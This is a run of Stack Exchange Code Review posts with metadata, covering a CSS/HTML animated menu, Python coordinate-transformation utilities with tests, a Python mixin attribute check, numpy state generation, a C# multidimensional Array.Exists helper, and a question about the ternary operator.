{ position: relative; transform: translateY(0)!important; transition: none; &amp;:before, &amp;:after { display: none; } &gt;a { display: flex; flex-direction: column; justify-content: center; background-image: none; padding: 0 15px; font-size: 24px; transition: transform 0.15s ease, color 0.15s ease, text-shadow 0.15s ease; } &amp;:hover, &amp;:focus { &gt;a { transform: rotate(-3deg) scale(1.05); color: rgb(229,178,62);; text-shadow: 2px 3px 1px rgba(0, 0, 0, 0.5); } } } } &amp;--toplevel, &amp;--item { display: flex; align-items: center; } &amp;--item { span { display: block; } } &amp;--subnav { position: absolute; height: 0; top: 100%; left: -80%; padding: 0; width: 320px; .header__navigation--item &gt; a { display: block; width: 100%; font-size: 22px; } } } @media(min-width: 1200px) { &amp;--toplevel &gt; .header__navigation--item &gt; a { padding: 0 30px; font-size: 30px; } &amp;--subnav { width: 350px; left: -45%; .header__navigation--item &gt; a { min-height: 50px; font-size: 26px; } } } } } .overlay { background-color: rgba(0,0,0,0); transition: background-color 0.3s ease; } // When the navigation is open .navigation__open { .header__navigation { height: auto; &amp;--toplevel { transform: translateY(0); } } .header__button--burger { span { &amp;:nth-of-type(1) { transform: rotate(45deg) translateX(-1px); margin-left: 5px; } &amp;:nth-of-type(2) { opacity: 0; } &amp;:nth-of-type(3) { transform: rotate(135deg); margin-left: -25px; } } } .overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0, 0, 0, 0.8); z-index: 98; } } // When the subnav is open .subnav__open { @media(min-width: 1080px) { .overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0, 0, 0, 0.8); z-index: 98; } } } </code></pre> <pre class="lang-html prettyprint-override"><code>&lt;header class=&quot;header&quot;&gt; &lt;div class=&quot;header__container container__main&quot;&gt; &lt;div class=&quot;header__button header__button--buy&quot;&gt; &lt;a href=&quot;#&quot; aria-label=&quot;Buy Tickets&quot;&gt;&lt;span&gt;Buy Tickets&lt;/span&gt;&lt;/a&gt; &lt;/div&gt; &lt;div class=&quot;header__logo&quot;&gt; &lt;a href=&quot;#&quot;&gt; &lt;span class=&quot;sr__only&quot;&gt;Return to home&lt;/span&gt; Logo Area &lt;/a&gt; &lt;/div&gt; &lt;div class=&quot;header__button header__button--burger&quot;&gt; &lt;button aria-controls=&quot;headerNavigation&quot; aria-expanded=&quot;false&quot; aria-label=&quot;Toggle Navigation&quot;&gt; &lt;span&gt;&lt;/span&gt; &lt;span&gt;&lt;/span&gt; &lt;span&gt;&lt;/span&gt; &lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/header&gt; &lt;nav class=&quot;header__navigation&quot; id=&quot;headerNavigation&quot;&gt; &lt;div class=&quot;header__navigation--container&quot;&gt; &lt;ul class=&quot;header__navigation--toplevel&quot;&gt; &lt;li class=&quot;header__navigation--item&quot;&gt;&lt;a href=&quot;#&quot;&gt;Item 1&lt;/a&gt;&lt;/li&gt; &lt;li class=&quot;header__navigation--item header__navigation--hasChildren navigation__expandable&quot;&gt; &lt;a href=&quot;#&quot;&gt;Has Subnav&lt;/a&gt; &lt;div class=&quot;header__navigation--subnav&quot; data-expanded=&quot;false&quot;&gt; &lt;ul class=&quot;header__navigation--subnavList&quot;&gt; &lt;li class=&quot;header__navigation--item&quot;&gt; &lt;a href=&quot;#&quot;&gt;Sub Item 1&lt;/a&gt; &lt;/li&gt; &lt;li class=&quot;header__navigation--item&quot;&gt; &lt;a href=&quot;#&quot;&gt;Sub Item 2&lt;/a&gt; &lt;/li&gt; &lt;li class=&quot;header__navigation--item&quot;&gt; &lt;a href=&quot;#&quot;&gt;Sub Item 3&lt;/a&gt; &lt;/li&gt; &lt;li class=&quot;header__navigation--item&quot;&gt; &lt;a href=&quot;#&quot;&gt;Sub Item 4&lt;/a&gt; &lt;/li&gt; &lt;li class=&quot;header__navigation--item&quot;&gt; &lt;a href=&quot;#&quot;&gt;Sub Item 5&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/li&gt; &lt;li class=&quot;header__navigation--item&quot;&gt;&lt;a href=&quot;#&quot;&gt;Item 3&lt;/a&gt;&lt;/li&gt; &lt;li class=&quot;header__navigation--item header__navigation--hasChildren navigation__expandable&quot;&gt; &lt;a href=&quot;#&quot;&gt;Has Sub&lt;/a&gt; &lt;div class=&quot;header__navigation--subnav&quot; data-expanded=&quot;false&quot;&gt; &lt;ul class=&quot;header__navigation--subnavList&quot;&gt; &lt;li class=&quot;header__navigation--item&quot;&gt; &lt;a href=&quot;#&quot;&gt;Sub Item 1&lt;/a&gt; &lt;/li&gt; &lt;li class=&quot;header__navigation--item&quot;&gt; &lt;a href=&quot;#&quot;&gt;Sub Item 2&lt;/a&gt; &lt;/li&gt; &lt;li class=&quot;header__navigation--item&quot;&gt; &lt;a href=&quot;#&quot;&gt;Sub Item 3&lt;/a&gt; &lt;/li&gt; &lt;li class=&quot;header__navigation--item&quot;&gt; &lt;a href=&quot;#&quot;&gt;Sub Item 4&lt;/a&gt; &lt;/li&gt; &lt;li class=&quot;header__navigation--item&quot;&gt; &lt;a href=&quot;#&quot;&gt;Sub Item 5&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/nav&gt; &lt;div class=&quot;overlay&quot;&gt;&lt;/div&gt; </code></pre> <p>A brief outline of it’s operation:</p> <p><strong>On Mobile</strong></p> <ul> <li>The user presses the Menu button <ul> <li>This triggers the top level menu items to ‘drop’ down</li> <li>If a user selects a top level nav item with a subnav it: <ul> <li>Opens the subnav container</li> <li>‘Drops’ the subnav menu items</li> </ul> </li> <li>If a user closes an open subnav it: <ul> <li>Retracts the subnav menu items</li> <li>Closes the subnav container</li> </ul> </li> <li>It also opens an overlay. If the user selects this overlay it: <ul> <li>Checks if there are open sub navs <ul> <li>closes subnavs</li> <li>Once complete it closes the top level nav</li> <li>Then it hides the overlay and goes back to original closed state</li> </ul> </li> <li>If no subnavs are open, it: <ul> <li>Closes the top level nav</li> <li>Then it hides the overlay and goes back to original closed state</li> </ul> </li> </ul> </li> </ul> </li> </ul> <p><strong>On Resize</strong></p> <ul> <li>If the window width is at desktop size it resets the menus by: <ul> <li>Closing all menu items</li> </ul> </li> </ul> <p><strong>On Desktop</strong></p> <ul> <li>The user selects a top level menu item with a subnav, it: <ul> <li>Opens the subnav container</li> <li>‘Drops’ the subnav menu items</li> <li>Displays an overlay</li> </ul> </li> <li>If the user selects a top level menu item that is already open, it: <ul> <li>Retracts the subnav menu items</li> <li>Closes the subnav container</li> <li>Hides the overlay</li> </ul> </li> <li>If the user clicks the overlay, it: <ul> <li>Retracts the subnav menu items</li> <li>Closes the subnav container</li> <li>Hides the overlay</li> </ul> </li> </ul> <h3>Some notes</h3> <p>I’m in the middle of trying to adopt ES6+ syntax, so there may be some inconsistencies along the way.</p> <p>The functions <code>closeSection</code> and <code>expandSection</code> are taken from here - <a href="https://css-tricks.com/using-css-transitions-auto-dimensions/#technique-3-javascript" rel="nofollow noreferrer">Transitions on Height Auto using JS</a>. These are included because I need to transition the height auto property of the subnav menu containers when at mobile Timeouts Am I using these incorrectly? Particularly when I have them nested in another timeout. Should I be ‘cleaning up’ after myself after every use of a timeout?</p> <h3>DOM Queries</h3> <p>I have many DOM queries here, and have been advised in previous reviews about it’s performance expense. I’d like to reduce these where possible, but again this is an experience issue here. My current skill level makes it difficult to see where the gains can be made.</p> <p>When I use <code>querySelector</code> and <code>querySelectorAll</code> I appear to ‘get’ their usage better than <code>getElementsByTagName</code> or <code>getElementByClassName</code>. I seem to only be able to use <code>getElementsBy…</code> in certain use cases, whereas <code>querySelector…</code> appears to be more flexible in their use cases.</p> <h3>Expectations</h3> <p>I think overall I am looking to reduce complexity and duplication. This has ‘grown arms and legs’ and may be too complicated for what it needs to achieve. However, I do feel that I have got the overall operation working, just my JS level of knowledge is not strong enough at this time to ensure it’s written better. This has been quite a complicated menu system for me to write and feel that I may have been verbose in its execution</p>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T14:55:52.850", "Id": "257348", "Score": "0", "Tags": [ "javascript" ], "Title": "Animated menu system - mobile and desktop" }
257348
<p>I regularly wish to convert poses (position 3d + orientation 3d = 6d total) between different coordinate frames. Use-cases are for example in game engines and simulations to compute the position of objects relative to one another, or for example in robotics (my use-case) to compute the position of an object relative to the gripper of a robot arm.</p> <p>Weirdly enough, I haven't yet found a good Python library to perform such conversions. Particularly one that depends on the scientific Python stack (<code>numpy</code>, <code>scipy</code>, <code>matplotlib</code>, ...), so this is my attempt at writing code that does just that. While the pieces are there, I didn't add functionality to parse a tree/hierarchy of coordinate frames and work out the full transformation (a.k.a. do forward kinematics), because doing so efficiently depends on how the tree/hierarchy is represented.</p> <p>What I would like reviewed is general code quality and clarity of the documentation.</p> <p>The code:</p> <pre class="lang-py prettyprint-override"><code> # kinematics.py import numpy as np def transform(new_frame: np.array): &quot;&quot;&quot; Compute the homogenious transformation matrix from the current coordinate system into a new coordinate system. Given the pose of the new reference frame ``new_frame`` in the current reference frame, compute the homogenious transformation matrix from the current reference frame into the new reference frame. ``transform(new_frame)`` can, for example, be used to get the transformation from the corrdinate frame of the current link in a kinematic chain to the next link in a kinematic chain. Here, the next link's origin (``new_frame``) is specified relative to the current link's origin, i.e., in the current link's coordinate system. Parameters ---------- new_frame: np.array The pose of the new coordinate system's origin. This is a 6-dimensional vector consisting of the origin's position and the frame's orientation (xyz Euler Angles): [x, y, z, alpha, beta, gamma]. Returns ------- transformation_matrix : np.ndarray A 4x4 matrix representing the homogenious transformation. Notes ----- For performance reasons, it is better to sequentially apply multiple transformations to a vector (or set of vectors) than to first multiply a sequence of transformations and then apply them to a vector afterwards. &quot;&quot;&quot; new_frame = np.asarray(new_frame) alpha, beta, gamma = - new_frame[3:] rot_x = np.array([ [1, 0, 0], [0, np.cos(alpha), np.sin(alpha)], [0, -np.sin(alpha), np.cos(alpha)] ]) rot_y = np.array([ [np.cos(beta), 0, np.sin(beta)], [0, 1, 0], [-np.sin(beta), 0, np.cos(beta)] ]) rot_z = np.array([ [np.cos(gamma), np.sin(gamma), 0], [-np.sin(gamma), np.cos(gamma), 0], [0, 0, 1] ]) transform = np.eye(4) # Note: apply inverse rotation transform[:3, :3] = np.matmul(rot_z, np.matmul(rot_y, rot_x)) transform[:3, 3] = - new_frame[:3] return transform def inverseTransform(old_frame): &quot;&quot;&quot; Compute the homogenious transformation matrix from the current coordinate system into the old coordinate system. Given the pose of the current reference frame in the old reference frame ``old_frame``, compute the homogenious transformation matrix from the new reference frame into the old reference frame. For example, ``inverseTransform(camera_frame)`` can, be used to compute the transformation from a camera's coordinate frame to the world's coordinate frame assuming the camera frame's pose is given in the world's coordinate system. Parameters ---------- old_frame: {np.array, None} The pose of the old coordinate system's origin. This is a 6-dimensional vector consisting of the origin's position and the frame's orientation (xyz Euler Angles): [x, y, z, alpha, beta, gamma]. Returns ------- transformation_matrix : np.ndarray A 4x4 matrix representing the homogenious transformation. Notes ----- For performance reasons, it is better to sequentially apply multiple transformations to a vector (or set of vectors) than to first multiply a sequence of transformations and then apply them to a vector afterwards. &quot;&quot;&quot; old_frame = np.asarray(old_frame) alpha, beta, gamma = old_frame[3:] rot_x = np.array([ [1, 0, 0], [0, np.cos(alpha), np.sin(alpha)], [0, -np.sin(alpha), np.cos(alpha)] ]) rot_y = np.array([ [np.cos(beta), 0, np.sin(beta)], [0, 1, 0], [-np.sin(beta), 0, np.cos(beta)] ]) rot_z = np.array([ [np.cos(gamma), np.sin(gamma), 0], [-np.sin(gamma), np.cos(gamma), 0], [0, 0, 1] ]) transform = np.eye(4) transform[:3, :3] = np.matmul(rot_x, np.matmul(rot_y, rot_z)) transform[:3, 3] = old_frame[:3] return transform def transformBetween(old_frame: np.array, new_frame:np.array): &quot;&quot;&quot; Compute the homogenious transformation matrix between two frames. ``transformBetween(old_frame, new_frame)`` computes the transformation from the corrdinate system with pose ``old_frame`` to the corrdinate system with pose ``new_frame`` where both origins are expressed in the same reference frame, e.g., the world's coordinate frame. For example, ``transformBetween(camera_frame, tool_frame)`` computes the transformation from a camera's coordinate system to the tool's coordinate system assuming the pose of both corrdinate frames is given in a shared world frame (or any other __shared__ frame of reference). Parameters ---------- old_frame: np.array The pose of the old coordinate system's origin. This is a 6-dimensional vector consisting of the origin's position and the frame's orientation (xyz Euler Angles): [x, y, z, alpha, beta, gamma]. new_frame: np.array The pose of the new coordinate system's origin. This is a 6-dimensional vector consisting of the origin's position and the frame's orientation (xyz Euler Angles): [x, y, z, alpha, beta, gamma]. Returns ------- transformation_matrix : np.ndarray A 4x4 matrix representing the homogenious transformation. Notes ----- If the reference frame and ``old_frame`` are identical, use ``transform`` instead. If the reference frame and ``new_frame`` are identical, use ``transformInverse`` instead. For performance reasons, it is better to sequentially apply multiple transformations to a vector than to first multiply a sequence of transformations and then apply them to a vector afterwards. &quot;&quot;&quot; return np.matmul(transform(new_frame),inverseTransform(old_frame)) def homogenize(cartesian_vector: np.array): &quot;&quot;&quot; Convert a vector from cartesian coordinates into homogenious coordinates. Parameters ---------- cartesian_vector: np.array The vector to be converted. Returns ------- homogenious_vector: np.array The vector in homogenious coordinates. &quot;&quot;&quot; shape = cartesian_vector.shape homogenious_vector = np.ones((*shape[:-1], shape[-1] + 1)) homogenious_vector[..., :-1] = cartesian_vector return homogenious_vector def cartesianize(homogenious_vector: np.array): &quot;&quot;&quot; Convert a vector from homogenious coordinates to cartesian coordinates. Parameters ---------- homogenious_vector: np.array The vector in homogenious coordinates. Returns ------- cartesian_vector: np.array The vector to be converted. &quot;&quot;&quot; return homogenious_vector[..., :-1] / homogenious_vector[..., -1] </code></pre> <p>and some tests</p> <pre class="lang-py prettyprint-override"><code>import numpy as np import kinematics as kine import pytest @pytest.mark.parametrize( &quot;vector_in,frame_A,frame_B,vector_out&quot;, [ (np.array((1,2,3)),np.array((0,0,0,0,0,0)),np.array((1,0,0,0,0,0)),np.array((0,2,3))), (np.array((1,0,0)),np.array((0,0,0,0,0,0)),np.array((0,0,0,0,0,np.pi/2)),np.array((0,1,0))), (np.array((0,1,0)),np.array((0,0,0,0,0,0)),np.array((0,0,0,np.pi/2,0,np.pi/2)),np.array((0,0,1))), (np.array((0,np.sqrt(2),0)),np.array((4.5,1,0,0,0,-np.pi/4)),np.array((0,0,0,0,0,0)),np.array((3.5,2,0))), ] ) def test_transform_between(vector_in, frame_A, frame_B, vector_out): vector_A = kine.homogenize(vector_in) vector_B = np.matmul(kine.transformBetween(frame_A, frame_B), vector_A) vector_B = kine.cartesianize(vector_B) assert np.allclose(vector_B, vector_out) </code></pre>
[]
[ { "body": "<p>You've type-hinted some of your parameters and none of your returns, as in</p>\n<pre><code>def transform(new_frame: np.array):\n</code></pre>\n<p>Add the missing return type hints, probably <code>-&gt; np.ndarray</code>.</p>\n<p>It's &quot;homogeneous&quot;, not &quot;homogenious&quot;.</p>\n<p>It's more standard to use lower_snake_case for functions, i.e. <code>inverse_transform</code> instead of <code>inverseTransform</code>.</p>\n<p>Otherwise this is pretty sane.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T15:15:14.030", "Id": "257401", "ParentId": "257349", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T15:02:25.920", "Id": "257349", "Score": "1", "Tags": [ "python", "coordinate-system" ], "Title": "Utilities for Coordinate Transformations (via homogeneous coordinates)" }
257349
<p>I have implemented the below <code>_get_schema</code> method to ensure that <code>schema</code> attribute is always present on the <code>Todos</code> instance, and can therefore be used in the mixin.</p> <p>Is it OK to do it like this? As far as I know, mixins usually do not implement constructors.</p> <p>Is there a better way to make sure that someone did not forget to explicitly set the <code>schema</code> attribute in the <code>Todos</code> class, especially that this attribute is also not inherited from <code>View</code>?</p> <pre><code>class Mixin: def __init__(self): self._get_schema() super().__init__() def _get_schema(self): if not hasattr(self, 'schema'): msg = f'No &quot;schema&quot; attribute provided in {self.__class__.__name__} class' raise Exception(msg) class View: def __init__(self): print('view constructor') class Todos(SchemaMixin, MethodView): schema = 'todo schema' todos = Todos() </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T17:18:29.867", "Id": "508348", "Score": "0", "body": "Your code looks like it has errors (two Mixin definitions, for example). Also, where does the scheme come from -- passed as argument, read from an external source, etc? How many classes will inherit from the schema-checking mixin(s) in question?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T17:35:12.697", "Id": "508349", "Score": "0", "body": "Thanks for pointing that out, duplicate code is now deleted. The scheme will come only from setting it as class attribute like in my example. Rest of the implementation is inherited from my mixin and generic Flask's MethodView. My intention is to have a couple of classes that inherit from the mixin and method view like that, each class representing a specific resource in the database." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T00:23:06.613", "Id": "508378", "Score": "0", "body": "Does `SchemaMixin` do anything besides verify the class has a schema attribute? Does the check need to be done at runtime or is a compile time check okay?" } ]
[ { "body": "<p>The point of a mixin, at least as I've always understood it, is to inject\nmethods into other classes -- and not to create instances of the mixin class\nitself. So putting an <code>__init__()</code> in a mixin does seem like an odd pattern. Of\ncourse, <code>__init__()</code> is just a method: why not inject that method too? Fair\nenough, but it still feels off. And is it really necessary?</p>\n<p>One option is to inject the schema checking method and then call it in a proper\n<code>__init__()</code>:</p>\n<pre><code>class SchemaMixin:\n\n def _check_schema(self):\n ...\n\nclass Todos(SchemaMixin):\n\n def __init__(self):\n ...\n self._check_schema()\n</code></pre>\n<p>Or just use regular functions and get out of the awkward business of\ninheritance. Without knowing more details about your case, I would lean in this\ndirection.</p>\n<pre><code>def check_schema(obj):\n ...\n\nclass Todos():\n\n def __init__(self):\n check_schema(self)\n</code></pre>\n<p>I find myself almost never using inheritance these days -- regular or\nmixin-style. I don't have a blanket policy against it, but I increasingly find\nthat I just don't need it. If a class needs something, I pass it in as an\nargument. If multiple classes need the same operation, I use functions.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T20:39:24.897", "Id": "508360", "Score": "0", "body": "Thanks! Regarding \"if a class needs something, I pass it in as an argument\" - is it doable in this case, since Todos is just a class called by the framework whenever certain URL is hit, and I have no control over what arguments are passed to its constructor?" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T18:49:11.383", "Id": "257359", "ParentId": "257352", "Score": "1" } }, { "body": "<p>I think the norm is to just try to access the <code>schema</code> attribute and let it fail with an AttributeError if there isn't one. But here are two possibilities to catch it before runtime (at compile time, or using a type checker).</p>\n<h3>Using <code>__init_subclass__()</code></h3>\n<p>This may be a good use case for adding an <a href=\"https://docs.python.org/3.8/reference/datamodel.html?highlight=__init_subclass__#object.__init_subclass__\" rel=\"nofollow noreferrer\"><code>__init_subclass__()</code></a> method to the mixin class. It will get called (at compile time) whenever a class inherits the mixin.</p>\n<pre><code>class SchemaMixin:\n def __init_subclass__(cls):\n if not hasattr(cls, 'schema'):\n raise Exception(f&quot;class {cls.__name__} is missing a 'schema' attribute.&quot;)\n\n def do_something_with_the_schema(self, *args):\n # method can rely on self having a 'schema' attribute.\n print(self.schema)\n \nclass Todo(SchemaMixin):\n schema = &quot;testing&quot;\n \nclass BadTodo(SchemaMixin):\n pass\n</code></pre>\n<p>When Python tries to compile class <code>BadTodo</code>, it will raise the following exception (traceback omitted):</p>\n<pre><code>Exception: class BadTodo is missing a 'schema' attribute.\n</code></pre>\n<h3>Using type hints</h3>\n<p>If you are using type hints, this might be checked using <a href=\"https://www.python.org/dev/peps/pep-0544/\" rel=\"nofollow noreferrer\">PEP 544 Protocols</a> to define structural subtyping.</p>\n<pre><code>from typing import Protocol\n\nclass Schema(Protocol):\n schema: ClassVar[str]\n</code></pre>\n<p>Functions/methods that need a type that has a schema attribute would use Schema as a type hint:</p>\n<pre><code>def use_a_schema(x: Schema) -&gt; some_type_hint:\n print(x.schema)\n</code></pre>\n<p>And a type checker like mypy could verify that it is called with arguments having a <code>schema</code> attribute.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T01:35:20.497", "Id": "257378", "ParentId": "257352", "Score": "1" } } ]
{ "AcceptedAnswerId": "257378", "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T15:57:13.573", "Id": "257352", "Score": "0", "Tags": [ "python", "inheritance", "mixins" ], "Title": "Ensuring that attributes referenced by a mixin are present in the children class" }
257352
<p>Say I have the following two different states:</p> <pre><code>state1 = [0, 1, 0, 1, 1] state2 = [1, 1, 0, 0, 1] </code></pre> <p>And I want to generate <em>n</em> number of <em>new</em> states by <strong>only</strong> changing the values at where these states <strong>differ</strong>; and I want to do so randomly. So I did the following:</p> <pre><code>state1 = np.array(state1) differ = np.where(state1 != state2)[0] # --&gt; array([0, 3], dtype=int64) rand = [random.choices([1, 0], k=len(differ)) for _ in range(4)] states = [state1.copy() for _ in range(4)] for i in range(len(states)): states[i][differ] = rand[i] # Will replace the values at locations where they are mismatched only </code></pre> <p>Out:</p> <pre><code>[array([1, 1, 0, 0, 1]), array([1, 1, 0, 1, 1]), array([0, 1, 0, 1, 1]), array([0, 1, 0, 1, 1])] </code></pre> <p>This does the job but I was wondering if there is a better way (to avoid 2 <code>for</code> loops), but this was the best I could come up with. Any ideas on how to do the same thing but better/cleaner?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T19:43:11.363", "Id": "508358", "Score": "0", "body": "If you want to create a data set from two others that only changes where the originals differ, XOR is your friend" } ]
[ { "body": "<p>You could use <code>np.random.choice()</code> to generate the states, while using <code>a==b</code> and <code>a!=b</code> as masks.</p>\n<pre><code>def new_states(a,b,n):\n return [\n a*(a==b) + np.random.choice(2,len(a))*(a!=b)\n for _ in range(n)\n ]\n\nstate1 = np.array([0, 1, 0, 1, 1])\nstate2 = np.array([1, 1, 0, 0, 1])\nprint(new_states(state1,state2,4))\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T19:42:20.200", "Id": "257361", "ParentId": "257360", "Score": "2" } } ]
{ "AcceptedAnswerId": "257361", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T18:55:21.683", "Id": "257360", "Score": "3", "Tags": [ "python", "python-3.x", "array", "numpy" ], "Title": "Generating multiple new arrays using numpy" }
257360
<p>To determine whether the specified array contains specific element or not, <a href="https://docs.microsoft.com/en-us/dotnet/api/system.array.exists?view=net-5.0" rel="nofollow noreferrer">Array.Exists</a> can be used if the given array is one dimensional. I am attempting to implement <code>Exists</code> method for multidimensional array cases.</p> <p><strong>The experimental implementation</strong></p> <pre><code>static class MDArrayHelpers { public static bool Exists&lt;T&gt;(Array array, Predicate&lt;T&gt; match) where T : unmanaged { if (ReferenceEquals(array, null)) { throw new ArgumentNullException(nameof(array)); } Type elementType = array.GetType().GetElementType(); if (!elementType.Equals(typeof(T))) { throw new System.InvalidOperationException(); } foreach (var element in array) { if (match((T)element)) { return true; } } return false; } } </code></pre> <p><strong>Test cases</strong></p> <pre><code>Predicate&lt;int&gt; isOne = delegate (int number) { return number == 1; }; Predicate&lt;int&gt; isFour = delegate (int number) { return number == 4; }; Console.WriteLine(&quot;One dimensional case&quot;); int[] array1 = new int[] { 1, 2, 3 }; Console.WriteLine($&quot;Is one existed in {nameof(array1)}: {Array.Exists(array1, isOne)}&quot;); Console.WriteLine($&quot;Is four existed in {nameof(array1)}: {Array.Exists(array1, isFour)}&quot;); Console.WriteLine(&quot;&quot;); Console.WriteLine(&quot;Two dimensional case&quot;); int[,] array2 = { { 0, 1 }, { 2, 3 } }; Console.WriteLine($&quot;Is one existed in {nameof(array2)}: {MDArrayHelpers.Exists(array2, isOne)}&quot;); Console.WriteLine($&quot;Is four existed in {nameof(array2)}: {MDArrayHelpers.Exists(array2, isFour)}&quot;); Console.WriteLine(&quot;&quot;); Console.WriteLine(&quot;Three dimensional case&quot;); int[,,] array3 = { { { 0, 1 }, { 2, 3 } }, { { 0, 1 }, { 2, 3 } } }; Console.WriteLine($&quot;Is one existed in {nameof(array3)}: {MDArrayHelpers.Exists(array3, isOne)}&quot;); Console.WriteLine($&quot;Is four existed in {nameof(array3)}: {MDArrayHelpers.Exists(array3, isFour)}&quot;); Console.WriteLine(&quot;&quot;); Console.WriteLine(&quot;Four dimensional case&quot;); int[,,,] array4 = { { { { 0, 1 }, { 2, 3 } }, { { 0, 1 }, { 2, 3 } } }, { { { 0, 1 }, { 2, 3 } }, { { 0, 1 }, { 2, 3 } } } }; Console.WriteLine($&quot;Is one existed in {nameof(array4)}: {MDArrayHelpers.Exists(array4, isOne)}&quot;); Console.WriteLine($&quot;Is four existed in {nameof(array4)}: {MDArrayHelpers.Exists(array4, isFour)}&quot;); </code></pre> <p>The output of the test code above:</p> <pre><code>One dimensional case Is one existed in array1: True Is four existed in array1: False Two dimensional case Is one existed in array2: True Is four existed in array2: False Three dimensional case Is one existed in array3: True Is four existed in array3: False Four dimensional case Is one existed in array4: True Is four existed in array4: False </code></pre> <p>If there is any possible improvement, please let me know.</p>
[]
[ { "body": "<p>You can simply use the LINQ <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.linq.enumerable.any?view=net-5.0\" rel=\"nofollow noreferrer\">Enumerable.Any extension Method</a>.</p>\n<pre><code>bool result = array4.Cast&lt;int&gt;().Any(x =&gt; x == 1);\n</code></pre>\n<p>This works for any collection implementing <code>IEnumerable&lt;T&gt;</code> and also for enumerations created algorithmically by C# <a href=\"https://docs.microsoft.com/en-us/dotnet/csharp/iterators\" rel=\"nofollow noreferrer\">Iterators</a>.</p>\n<p>According the the <a href=\"https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/arrays/\" rel=\"nofollow noreferrer\">C# Programming Guide (Arrays)</a>:</p>\n<blockquote>\n<p>Array types are reference types derived from the abstract base type Array. Since this type implements IEnumerable and IEnumerable&lt;T&gt;, you can use foreach iteration on all arrays in C#.</p>\n</blockquote>\n<p>This statement is, however, misleading, since we need to cast the array here. Obviously, we only have the access to the non-generic interface <code>IEnumerable</code>.</p>\n<p>LINQ Extension methods found in the <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.linq.enumerable?view=net-5.0\" rel=\"nofollow noreferrer\">Enumerable Class</a> apply to <code>IEnumerable&lt;T&gt;</code> or <code>IEnumerable</code>.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T01:01:58.683", "Id": "508379", "Score": "0", "body": "Thank you for answering. I found that `error CS1061: 'int[*,*,*,*]' does not contain a definition for 'Any' and no accessible extension method 'Any' accepting a first argument of type 'int[*,*,*,*]' could be found` occurred in `array4.Any(x => x == 1)`, but `array4.Cast<int>().ToList().Any(x => x == 1)` can be used as a solution." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T11:07:25.123", "Id": "508408", "Score": "1", "body": "The `ToList()` should not be needed" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T15:06:10.540", "Id": "508432", "Score": "1", "body": "Please, see also my follow up question: [Is the C# Programming Guide right on pretending that arrays implement `IEnumerable<T>`?](https://stackoverflow.com/q/66710635/880990)." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T21:07:48.230", "Id": "257368", "ParentId": "257366", "Score": "2" } } ]
{ "AcceptedAnswerId": "257368", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T20:41:00.053", "Id": "257366", "Score": "0", "Tags": [ "c#", "array", "generics", "reflection" ], "Title": "Exists Method Implementation for Multidimensional Array in C#" }
257366
<p>I saw the expression below in a dining philosophers problem, and I didn't understand it. What is this style of coding called(assuming there is a special name for it)? What does the expression do? Please help explain it to me.</p> <pre><code>int right = i; int left = (i - 1 == -1) ? NO_OF_PHILOSOPHERS - 1 : (i - 1); int locked;`` </code></pre> <p>Below is a link to the program:</p> <p><a href="https://codereview.stackexchange.com/questions/26618/dining-philosophers-problem-with-mutexes">Dining philosophers problem with mutexes</a></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T01:15:52.027", "Id": "508381", "Score": "1", "body": "Aside from being a Stack Overflow question [rather than a Code Review one](https://codereview.stackexchange.com/help/on-topic), why would you tag C++ programmers with this when the original code is C?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T01:44:44.363", "Id": "508382", "Score": "0", "body": "Do you mean the [trinary operator?](https://en.wikipedia.org/wiki/%3F:#C++)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T03:28:21.463", "Id": "508383", "Score": "0", "body": "Yess! I didn't know what it is called. and I don't understand the operation that takes place in the second line of code." } ]
